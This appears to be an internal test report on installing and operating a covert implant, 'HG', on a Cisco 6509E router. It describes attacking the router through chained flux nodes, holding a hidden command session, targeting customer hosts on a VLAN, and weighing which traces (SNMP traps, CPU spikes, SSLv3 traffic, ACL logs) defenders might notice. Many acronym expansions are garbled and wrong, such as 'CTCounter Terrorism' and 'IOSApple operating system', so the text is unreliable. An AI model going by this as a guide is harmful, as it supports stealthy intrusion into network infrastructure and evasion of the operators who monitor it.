Cytolysis-1h Testing

HG was delivered for Cytolysis on 10/12/2015 for SUP720.  Testing scope will include SMITE, ACE, Redirection and Packet Collection capabilties.  

CONOP will be:

• Hop through 3 flux nodes - 1 internet, 1 osmo subnet, 1 osmo mgmt subnet - and attack mgmt VLANVirtual Local Area Network 1 ip address - 0.108 from a host that is allowed vty access via acl 2
• Establish CTCounter Terrorism session back through flux node 3
• Use ACEApplication Control Engine (Module) commands to verify state of the device
• Use socket get_arp_survey_data and packet collection to identify target hosts on VLANVirtual Local Area Network 19
• SMITE hosts on target customer network - VLANVirtual Local Area Network 19

Testing Summary

• Note in test report that module 2 is in state PwrDown and should be verified before proceeding
• FilterBroker module needs to be manually started after HG install
• SNMP trap is observed during IACInternational Access Code attack
• 5 second CPU spikes to around 40% during IACInternational Access Code attack
• Note that during IACInternational Access Code attack, router attempts to perform a PTR query for flux3 node
• Trigger packets that go through the target due to HG trigger sequence mis match will be caught and logged by outbound customer ACLs potentially - need to consider acls when selecting trigger packet destination and cosnider acls on upstream devices that might filter trigger packets from mgmt subnet from reaching 6500.
• Comms packets are SSLv3 - need to consider if this is noticeable on this network
• Irregularities with show history all - not necessarily HG related
• Reminder to Operators that ACEApplication Control Engine (Module) only supports show commands?

Device Setup

• 6509E Chassis with the following linecards
  • Slot 1 - WS-6148-GE-TX
  • Slot 2 - WS-6148-GE-TX - powered down
  • Slot 3 - WS-X6704-10GE
  • Slot 4 - EMPTY
  • Slot 5 - WS-SUP720-3B
  • Slot 6 - WS-SUP720-3B
• DUT IOSApple operating system for small devices - sup-bootdisk:s72033-ipservices_wan-mz.122-33.SXI.bin
• DUT ROMRead-Only Memory - ROM: System Bootstrap, Version 12.2(17r)SX5, RELEASE SOFTWARE (fc1)
• OSPF running with Osmo-3 routers, rx equal-cost default route from two OSPFOpen Shortest Path First peers over Uplinks, along with other OSPFOpen Shortest Path First routes.
• Uplinks to Osmo-3 routers - one on 10G interface, other on 1G interface (target may actually have two 10G uplinks, however I do not have two 10G routers to link to).
• 10GB Uplink uses ISL trunk encapsulation, 1GB uplink uses dot1q (that module on 6509 does not support ISL trunking)
• Customer 2 is the target traffic, Customer 1 is just additional traffic.  Customer routers replicated with 3750s.
• Customer 2 target network is NAT'd by the DUT
• Hop through three flux nodes to attack - one on Internet and two on Osmo network.  Final Flux node on CONTROL network hanging off Osmo router.
• SNMP monitoring, Syslog and trap logging set up to Solarwinds
• Port mirror set up for VLANVirtual Local Area Network 3 and 47
• Config differences between Target and DUT
  • ip name server 4.4.4.4 added
  • power mode combined
  • no power enable module 2 - not sure why their slot 2 is PwrDown without this command
  • g1/48 configured as an Uplink with dot1q encap and removed from SPAN for VLANVirtual Local Area Network 3,47
  • logging/snmp host statements and acl 2 changed for 10.9.8.22
  • added 1.1.1.1 as ntp server and added to acl Core-Net-filter-in.

   3. ACE - Start/Stop ACEApplication Control Engine (Module) module and restarted ACEMod - successful.  Subsequently issued ACEApplication Control Engine (Module) commands successfully.

   4. FilterBroker - had to start manually, it was not started.  Start/Stop FilterBroker module and restarted FilterBroker successfully.
   5. Attempted to stop Socket and DNSDomain Name System module however I received an error stating this was a critical module
   6. Started/Stopped and restarted the Trigger module
   7. Restarted FilterBroker module again - verified ability to run mtim status
   8. Restarted ACEMod again - verified ability to run ACEApplication Control Engine (Module) commands
3. Ad -Hoc test - re-attack
   
   1. Started with a clean device - it had been reloaded but an IXIA test had been run on it
   2. Verified 3 flux hops in use
   3. Verified OSPFOpen Shortest Path First and logging
   4. IAC attacked - CPU spike during IACInternational Access Code attack - 39%
   5. Observed same SNMPSimple Network Management Protocol trap during IACInternational Access Code attack
   6. Uploaded HG - no trap or CPU issues
   7. Established CTCounter Terrorism session - notice very small spike during SSLSecure Socket Layer establishment - 15% in five second CPU
   8. When choosing a host to impersonate - chose 10.0.11.1 and it was NATd out and established back to my flx node as XXX.XXX.X.XX (TOPWAY-NET[CN]).
   9. Uninstalled HG with device uninstall -mp -f command
   10. Re-attacked with IACInternational Access Code and uploaded HG - established CTCounter Terrorism session successfully.
   11. Uninstalled again.
   12. Repeated attack again. successful
   13. Uninstalled again.
   14. Repeated attack again - successful
   15. All of these repeat attacks were on same RP, no failover or reload.  Will test repeat attacks after failover as part of sup failover testing.
4. ACE Module capability testing
   1. HG installed from previous test
   2. Establish CTCounter Terrorism session and execute ACEApplication Control Engine (Module) commands - show ver, show ip int br, show module, show arp, show mac address-table, show log, show int vlan 1, show platform hardware capacity, sh tcam counts, show run, show run int vlan 2, wr mem, clear ip nat trans * (this killed my ct session), show access-list, show vlan, show ip route, show power, show environment, show ntp a, show ip sockets, show mod power, show mod integrity, show sup-bootflash:, clear arp, 
   3. Powered down line card in slot 2 at CLI
   4. No issues observed during power down of line card
   5. Disconnected and reconnected CTCounter Terrorism session
   6. Entered some incorrect commands to test boundaries - asdfhsaj, show *, show run | beg line <-cannot run this
   7. Attempting to run copy command "copy run sup-bootflash:" created a file called exit on the bootflash with the running config in it.  Deleted this file.
   8. Running "copy run sup-bootflash:config" also creates a file called exit.
   9. Running "delete sup-bootflash:config" via ACEApplication Control Engine (Module) does not delete the file
   10. None of the ACEApplication Control Engine (Module) commands show in output of "show history"
   11. show history does not seem to show the actual history - just has an entry for "show history"
   12. Documentation for ACEApplication Control Engine (Module) module says that only show commands are supported - maybe commands other than show should be blocked by ilm or CT.

5. OIR/shutdown/startup of modules with HG
   1. Powered module 2 up and down administratively 3 times with HG installed.  Verified CTCounter Terrorism session establishment between each state transition, no CTCounter Terrorism session during state transition.
   2. Powered up/down module 2 adminisitratively 3 times while CTCounter Terrorism session active.
   3. Disconnected HG session and performed 3 hw-module resets on slot 2. then verified ct session.
   4. Disconnected HG session and performed a hw-module reset on each slot 1 - 3 and then verified CTCounter Terrorism session
   5. With CTCounter Terrorism session active, performed an OIR card removal on slot 2.  Then disconnected and reconnected to CT
   6. With CTCounter Terrorism active, performed an OIR card insertion on slot 2 then disconnected and connected CT.
